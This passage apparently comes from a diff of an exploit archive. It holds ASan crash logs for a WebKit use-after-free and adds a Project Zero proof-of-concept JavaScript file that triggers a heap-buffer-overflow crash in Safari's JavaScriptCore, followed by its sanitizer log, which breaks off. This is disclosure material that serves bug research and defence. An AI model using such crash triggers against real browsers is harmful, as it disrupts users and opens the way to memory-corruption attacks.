#14 0x115bfc301 in void std::__1::__invoke_void_return_wrapper<void>::__call<WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4&, WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool>(WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4&&&, WebCore::ResourceRequest const&&&, WTF::PassRefPtr<WebCore::FormState>&&, bool&&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa0301)
|
||||
#15 0x1170fd592 in std::__1::function<void (WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool)>::operator()(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa1592)
|
||||
#16 0x1170fd300 in WebCore::PolicyCallback::call(bool) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa1300)
|
||||
#17 0x1170ff0aa in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa30aa)
|
||||
#18 0x107df7b2e in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60fb2e)
|
||||
#19 0x107df7986 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60f986)
|
||||
#20 0x107e07dbc in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, std::__1::function<void (WebCore::PolicyAction)>) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x61fdbc)
|
||||
#21 0x1170fea08 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WTF::PassRefPtr<WebCore::FormState>, std::__1::function<void (WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool)>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa2a08)
|
||||
#22 0x115be72b3 in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8b2b3)
|
||||
#23 0x115be5de6 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa89de6)
|
||||
#24 0x115be2113 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WTF::PassRefPtr<WebCore::FormState>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa86113)
|
||||
#25 0x115bdb1c4 in WebCore::FrameLoader::loadFrameRequest(WebCore::FrameLoadRequest const&, WebCore::Event*, WTF::PassRefPtr<WebCore::FormState>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa7f1c4)
|
||||
#26 0x115bda68e in WebCore::FrameLoader::urlSelected(WebCore::FrameLoadRequest const&, WebCore::Event*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa7e68e)
|
||||
#27 0x116fdaa98 in WebCore::ScheduledLocationChange::fire(WebCore::Frame&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e7ea98)
|
||||
#28 0x116fd732f in WebCore::NavigationScheduler::timerFired() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1e7b32f)
|
||||
#29 0x117b92cd1 in WebCore::ThreadTimers::sharedTimerFiredInternal() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2a36cd1)
|
||||
|
||||
previously allocated by thread T0 here:
|
||||
#0 0x10a087bf0 in wrap_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4abf0)
|
||||
#1 0x10d0d901e in bmalloc::Allocator::allocateSlowCase(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18c601e)
|
||||
#2 0x10d074535 in bmalloc::Allocator::allocate(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1861535)
|
||||
#3 0x115c14a59 in WebCore::FrameView::create(WebCore::Frame&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xab8a59)
|
||||
#4 0x115bd459c in WebCore::Frame::createView(WebCore::IntSize const&, WebCore::Color const&, bool, WebCore::IntSize const&, WebCore::IntRect const&, bool, WebCore::ScrollbarMode, bool, WebCore::ScrollbarMode, bool) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa7859c)
|
||||
#5 0x107e0df0b in WebKit::WebFrameLoaderClient::transitionToCommittedForNewPage() (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x625f0b)
|
||||
#6 0x115beb6cf in WebCore::FrameLoader::transitionToCommitted(WebCore::CachedPage*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8f6cf)
|
||||
#7 0x115bea77b in WebCore::FrameLoader::commitProvisionalLoad() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8e77b)
|
||||
#8 0x1158e6197 in WebCore::DocumentLoader::finishedLoading(double) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x78a197)
|
||||
#9 0x1158ee2e5 in WebCore::DocumentLoader::maybeLoadEmpty() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7922e5)
|
||||
#10 0x1158ee6d3 in WebCore::DocumentLoader::startLoadingMainResource() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7926d3)
|
||||
#11 0x115beec01 in WebCore::FrameLoader::continueLoadAfterWillSubmitForm() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa92c01)
|
||||
#12 0x115be8495 in WebCore::FrameLoader::continueLoadAfterNavigationPolicy(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8c495)
|
||||
#13 0x115bfc4ba in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4::operator()(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa04ba)
|
||||
#14 0x115bfc301 in void std::__1::__invoke_void_return_wrapper<void>::__call<WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4&, WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool>(WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL)::$_4&&&, WebCore::ResourceRequest const&&&, WTF::PassRefPtr<WebCore::FormState>&&, bool&&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xaa0301)
|
||||
#15 0x1170fd592 in std::__1::function<void (WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool)>::operator()(WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool) const (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa1592)
|
||||
#16 0x1170fd300 in WebCore::PolicyCallback::call(bool) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa1300)
|
||||
#17 0x1170ff0aa in WebCore::PolicyChecker::continueAfterNavigationPolicy(WebCore::PolicyAction) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa30aa)
|
||||
#18 0x107df7b2e in std::__1::function<void (WebCore::PolicyAction)>::operator()(WebCore::PolicyAction) const (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60fb2e)
|
||||
#19 0x107df7986 in WebKit::WebFrame::didReceivePolicyDecision(unsigned long long, WebCore::PolicyAction, unsigned long long, WebKit::DownloadID) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x60f986)
|
||||
#20 0x107e07dbc in WebKit::WebFrameLoaderClient::dispatchDecidePolicyForNavigationAction(WebCore::NavigationAction const&, WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, std::__1::function<void (WebCore::PolicyAction)>) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x61fdbc)
|
||||
#21 0x1170fea08 in WebCore::PolicyChecker::checkNavigationPolicy(WebCore::ResourceRequest const&, bool, WebCore::DocumentLoader*, WTF::PassRefPtr<WebCore::FormState>, std::__1::function<void (WebCore::ResourceRequest const&, WTF::PassRefPtr<WebCore::FormState>, bool)>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x1fa2a08)
|
||||
#22 0x115be72b3 in WebCore::FrameLoader::loadWithDocumentLoader(WebCore::DocumentLoader*, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8b2b3)
|
||||
#23 0x115be5de6 in WebCore::FrameLoader::loadWithNavigationAction(WebCore::ResourceRequest const&, WebCore::NavigationAction const&, WebCore::LockHistory, WebCore::FrameLoadType, WTF::PassRefPtr<WebCore::FormState>, WebCore::AllowNavigationToInvalidURL) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa89de6)
|
||||
#24 0x115be2113 in WebCore::FrameLoader::loadURL(WebCore::FrameLoadRequest const&, WTF::String const&, WebCore::FrameLoadType, WebCore::Event*, WTF::PassRefPtr<WebCore::FormState>) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa86113)
|
||||
#25 0x115be043c in WebCore::FrameLoader::loadURLIntoChildFrame(WebCore::URL const&, WTF::String const&, WebCore::Frame*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xa8443c)
|
||||
#26 0x107e0ed25 in WebKit::WebFrameLoaderClient::createFrame(WebCore::URL const&, WTF::String const&, WebCore::HTMLFrameOwnerElement*, WTF::String const&, bool, int, int) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x626d25)
|
||||
#27 0x117966328 in WebCore::SubframeLoader::loadSubframe(WebCore::HTMLFrameOwnerElement&, WebCore::URL const&, WTF::String const&, WTF::String const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x280a328)
|
||||
#28 0x117964335 in WebCore::SubframeLoader::loadOrRedirectSubframe(WebCore::HTMLFrameOwnerElement&, WebCore::URL const&, WTF::AtomicString const&, WebCore::LockHistory, WebCore::LockBackForwardList) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2808335)
|
||||
#29 0x117963f47 in WebCore::SubframeLoader::requestFrame(WebCore::HTMLFrameOwnerElement&, WTF::String const&, WTF::AtomicString const&, WebCore::LockHistory, WebCore::LockBackForwardList) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2807f47)
|
||||
|
||||
SUMMARY: AddressSanitizer: heap-use-after-free (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7788a) in WTF::TypeCastTraits<WebCore::FrameView const, WebCore::ScrollView const, false>::isType(WebCore::Widget const&)
|
||||
Shadow bytes around the buggy address:
|
||||
0x1c3400018b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x1c3400018b10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x1c3400018b20: fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa
|
||||
0x1c3400018b30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
0x1c3400018b40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
|
||||
=>0x1c3400018b50:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x1c3400018b60: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x1c3400018b70: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x1c3400018b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x1c3400018b90: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
0x1c3400018ba0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
|
||||
Shadow byte legend (one shadow byte represents 8 application bytes):
|
||||
Addressable: 00
|
||||
Partially addressable: 01 02 03 04 05 06 07
|
||||
Heap left redzone: fa
|
||||
Heap right redzone: fb
|
||||
Freed heap region: fd
|
||||
Stack left redzone: f1
|
||||
Stack mid redzone: f2
|
||||
Stack right redzone: f3
|
||||
Stack partial redzone: f4
|
||||
Stack after return: f5
|
||||
Stack use after scope: f8
|
||||
Global redzone: f9
|
||||
Global init order: f6
|
||||
Poisoned by user: f7
|
||||
Container overflow: fc
|
||||
Array cookie: ac
|
||||
Intra object redzone: bb
|
||||
ASan internal: fe
|
||||
Left alloca redzone: ca
|
||||
Right alloca redzone: cb
|
||||
==54938==ABORTING
|
||||
-->
|
151
platforms/multiple/dos/41869.html
Executable file
151
platforms/multiple/dos/41869.html
Executable file
|
@ -0,0 +1,151 @@
|
|||
<!--
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1098
|
||||
|
||||
I confirmed the PoC crashes the release version of Safari 10.0.3(12602.4.8).
|
||||
(It might need to refresh the page several times.)
|
||||
|
||||
PoC:
|
||||
-->
|
||||
|
||||
(function (x = 0) {
|
||||
var a;
|
||||
{
|
||||
function arguments() {
|
||||
}
|
||||
|
||||
function b() {
|
||||
var g = 1;
|
||||
a[5];
|
||||
}
|
||||
|
||||
f();
|
||||
g();
|
||||
}
|
||||
}());
|
||||
|
||||
<!--
|
||||
Asan Log:
|
||||
==55079==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c0000c8e88 at pc 0x00010c30506a bp 0x7fff58fae860 sp 0x7fff58fae858
|
||||
READ of size 8 at 0x60c0000c8e88 thread T0
|
||||
#0 0x10c305069 in JSC::SymbolTableEntry::isWatchable() const (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1671069)
|
||||
#1 0x10c304f40 in JSC::SymbolTableEntry::prepareToWatch() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1670f40)
|
||||
#2 0x10b2bd728 in JSC::CodeBlock::finishCreation(JSC::VM&, JSC::ScriptExecutable*, JSC::UnlinkedCodeBlock*, JSC::JSScope*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x629728)
|
||||
#3 0x10c290c73 in JSC::FunctionCodeBlock::create(JSC::VM*, JSC::FunctionExecutable*, JSC::UnlinkedFunctionCodeBlock*, JSC::JSScope*, WTF::PassRefPtr<JSC::SourceProvider>, unsigned int, unsigned int) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fcc73)
|
||||
#4 0x10c2901ea in JSC::ScriptExecutable::newCodeBlockFor(JSC::CodeSpecializationKind, JSC::JSFunction*, JSC::JSScope*, JSC::JSObject*&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fc1ea)
|
||||
#5 0x10c29182a in JSC::ScriptExecutable::prepareForExecutionImpl(JSC::VM&, JSC::JSFunction*, JSC::JSScope*, JSC::CodeSpecializationKind, JSC::CodeBlock*&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x15fd82a)
|
||||
#6 0x10bf2c921 in JSC::LLInt::setUpCall(JSC::ExecState*, JSC::Instruction*, JSC::CodeSpecializationKind, JSC::JSValue, JSC::LLIntCallLinkInfo*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1298921)
|
||||
#7 0x10bf3b9ce in llint_entry (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12a79ce)
|
||||
#8 0x10bf34faa in vmEntryToJavaScript (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x12a0faa)
|
||||
#9 0x10bbf7d1d in JSC::JITCode::execute(JSC::VM*, JSC::ProtoCallFrame*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xf63d1d)
|
||||
#10 0x10bb80c6d in JSC::Interpreter::execute(JSC::ProgramExecutable*, JSC::ExecState*, JSC::JSObject*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0xeecc6d)
|
||||
#11 0x10b371316 in JSC::evaluate(JSC::ExecState*, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6dd316)
|
||||
#12 0x10b37151e in JSC::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x6dd51e)
|
||||
#13 0x116201743 in WebCore::JSMainThreadExecState::profiledEvaluate(JSC::ExecState*, JSC::ProfilingReason, JSC::SourceCode const&, JSC::JSValue, WTF::NakedPtr<JSC::Exception>&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24f5743)
|
||||
#14 0x1162012b4 in WebCore::ScriptController::evaluateInWorld(WebCore::ScriptSourceCode const&, WebCore::DOMWrapperWorld&, WebCore::ExceptionDetails*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x24f52b4)
|
||||
#15 0x116214881 in WebCore::ScriptElement::executeClassicScript(WebCore::ScriptSourceCode const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2508881)
|
||||
#16 0x116211943 in WebCore::ScriptElement::prepareScript(WTF::TextPosition const&, WebCore::ScriptElement::LegacyTypeSupport) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2505943)
|
||||
#17 0x114a13b5c in WebCore::HTMLScriptRunner::runScript(WebCore::Element*, WTF::TextPosition const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd07b5c)
|
||||
#18 0x114a13895 in WebCore::HTMLScriptRunner::execute(WTF::PassRefPtr<WebCore::Element>, WTF::TextPosition const&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xd07895)
|
||||
#19 0x11493fc35 in WebCore::HTMLDocumentParser::runScriptsForPausedTreeBuilder() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc33c35)
|
||||
#20 0x114940372 in WebCore::HTMLDocumentParser::pumpTokenizerLoop(WebCore::HTMLDocumentParser::SynchronousMode, bool, WebCore::PumpSession&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc34372)
|
||||
#21 0x11493f544 in WebCore::HTMLDocumentParser::pumpTokenizer(WebCore::HTMLDocumentParser::SynchronousMode) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc33544)
|
||||
#22 0x114940f9d in WebCore::HTMLDocumentParser::append(WTF::RefPtr<WTF::StringImpl>&&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0xc34f9d)
|
||||
#23 0x1143a3df1 in WebCore::DecodedDataDocumentParser::flush(WebCore::DocumentWriter&) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x697df1)
|
||||
#24 0x1144d3118 in WebCore::DocumentWriter::end() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x7c7118)
|
||||
#25 0x11449622f in WebCore::DocumentLoader::finishedLoading(double) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x78a22f)
|
||||
#26 0x113f73b77 in WebCore::CachedResource::checkNotify() (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x267b77)
|
||||
#27 0x113f6d709 in WebCore::CachedRawResource::finishLoading(WebCore::SharedBuffer*) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x261709)
|
||||
#28 0x11651ea04 in WebCore::SubresourceLoader::didFinishLoading(double) (webkit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore+0x2812a04)
|
||||
#29 0x1075ef6b5 in WebKit::WebResourceLoader::didFinishResourceLoad(double) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x9886b5)
|
||||
#30 0x1075f2965 in void IPC::handleMessage<Messages::WebResourceLoader::DidFinishResourceLoad, WebKit::WebResourceLoader, void (WebKit::WebResourceLoader::*)(double)>(IPC::Decoder&, WebKit::WebResourceLoader*, void (WebKit::WebResourceLoader::*)(double)) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x98b965)
|
||||
#31 0x1075f1f8a in WebKit::WebResourceLoader::didReceiveWebResourceLoaderMessage(IPC::Connection&, IPC::Decoder&) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x98af8a)
|
||||
#32 0x106f3c639 in WebKit::NetworkProcessConnection::didReceiveMessage(IPC::Connection&, IPC::Decoder&) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0x2d5639)
|
||||
#33 0x106d17088 in IPC::Connection::dispatchMessage(std::__1::unique_ptr<IPC::Decoder, std::__1::default_delete<IPC::Decoder> >) (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb0088)
|
||||
#34 0x106d206b4 in IPC::Connection::dispatchOneMessage() (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit+0xb96b4)
|
||||
#35 0x10c514653 in WTF::RunLoop::performWork() (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1880653)
|
||||
#36 0x10c514ebe in WTF::RunLoop::performWork(void*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1880ebe)
|
||||
#37 0x7fff9373e980 in __CFRUNLOOP_IS_CALLING_OUT_TO_A_SOURCE0_PERFORM_FUNCTION__ (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0xa7980)
|
||||
#38 0x7fff9371fa7c in __CFRunLoopDoSources0 (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x88a7c)
|
||||
#39 0x7fff9371ef75 in __CFRunLoopRun (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87f75)
|
||||
#40 0x7fff9371e973 in CFRunLoopRunSpecific (/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation+0x87973)
|
||||
#41 0x7fff92caaacb in RunCurrentEventLoopInMode (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30acb)
|
||||
#42 0x7fff92caa900 in ReceiveNextEventCommon (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30900)
|
||||
#43 0x7fff92caa735 in _BlockUntilNextEventMatchingListInModeWithFilter (/System/Library/Frameworks/Carbon.framework/Versions/A/Frameworks/HIToolbox.framework/Versions/A/HIToolbox+0x30735)
|
||||
#44 0x7fff91250ae3 in _DPSNextEvent (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x46ae3)
|
||||
#45 0x7fff919cb21e in -[NSApplication(NSEvent) _nextEventMatchingEventMask:untilDate:inMode:dequeue:] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x7c121e)
|
||||
#46 0x7fff91245464 in -[NSApplication run] (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x3b464)
|
||||
#47 0x7fff9120fd7f in NSApplicationMain (/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit+0x5d7f)
|
||||
#48 0x7fffa8edb8c6 in _xpc_objc_main (/usr/lib/system/libxpc.dylib+0x108c6)
|
||||
#49 0x7fffa8eda2e3 in xpc_main (/usr/lib/system/libxpc.dylib+0xf2e3)
|
||||
#50 0x106c4bb73 in main (webkit/WebKitBuild/Release/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.WebContent.xpc/Contents/MacOS/com.apple.WebKit.WebContent.Development+0x100001b73)
|
||||
#51 0x7fffa8c77254 in start (/usr/lib/system/libdyld.dylib+0x5254)
|
||||
|
||||
0x60c0000c8e88 is located 8 bytes to the right of 128-byte region [0x60c0000c8e00,0x60c0000c8e80)
|
||||
allocated by thread T0 here:
|
||||
#0 0x109508bf0 in wrap_malloc (/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/lib/clang/8.0.0/lib/darwin/libclang_rt.asan_osx_dynamic.dylib+0x4abf0)
|
||||
#1 0x10c55a01e in bmalloc::Allocator::allocateSlowCase(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x18c601e)
|
||||
#2 0x10c4f5535 in bmalloc::Allocator::allocate(unsigned long) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1861535)
|
||||
#3 0x10b257f38 in WTF::HashTable<WTF::RefPtr<WTF::UniquedStringImpl>, WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry>, WTF::KeyValuePairKeyExtractor<WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry> >, JSC::IdentifierRepHash, WTF::HashMap<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry, JSC::IdentifierRepHash, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> >, JSC::SymbolTableIndexHashTraits>::KeyValuePairTraits, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> > >::allocateTable(unsigned int) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5c3f38)
|
||||
#4 0x10b257df1 in WTF::HashTable<WTF::RefPtr<WTF::UniquedStringImpl>, WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry>, WTF::KeyValuePairKeyExtractor<WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry> >, JSC::IdentifierRepHash, WTF::HashMap<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry, JSC::IdentifierRepHash, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> >, JSC::SymbolTableIndexHashTraits>::KeyValuePairTraits, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> > >::rehash(unsigned int, WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry>*) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x5c3df1)
|
||||
#5 0x10c30623a in WTF::HashTableAddResult<WTF::HashTableIterator<WTF::RefPtr<WTF::UniquedStringImpl>, WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry>, WTF::KeyValuePairKeyExtractor<WTF::KeyValuePair<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry> >, JSC::IdentifierRepHash, WTF::HashMap<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry, JSC::IdentifierRepHash, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> >, JSC::SymbolTableIndexHashTraits>::KeyValuePairTraits, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> > > > WTF::HashMap<WTF::RefPtr<WTF::UniquedStringImpl>, JSC::SymbolTableEntry, JSC::IdentifierRepHash, WTF::HashTraits<WTF::RefPtr<WTF::UniquedStringImpl> >, JSC::SymbolTableIndexHashTraits>::add<JSC::SymbolTableEntry>(WTF::RefPtr<WTF::UniquedStringImpl> const&, JSC::SymbolTableEntry&&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x167223a)
|
||||
#6 0x10c305cca in JSC::SymbolTable::cloneScopePart(JSC::VM&) (webkit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore+0x1671cca)
|
||||
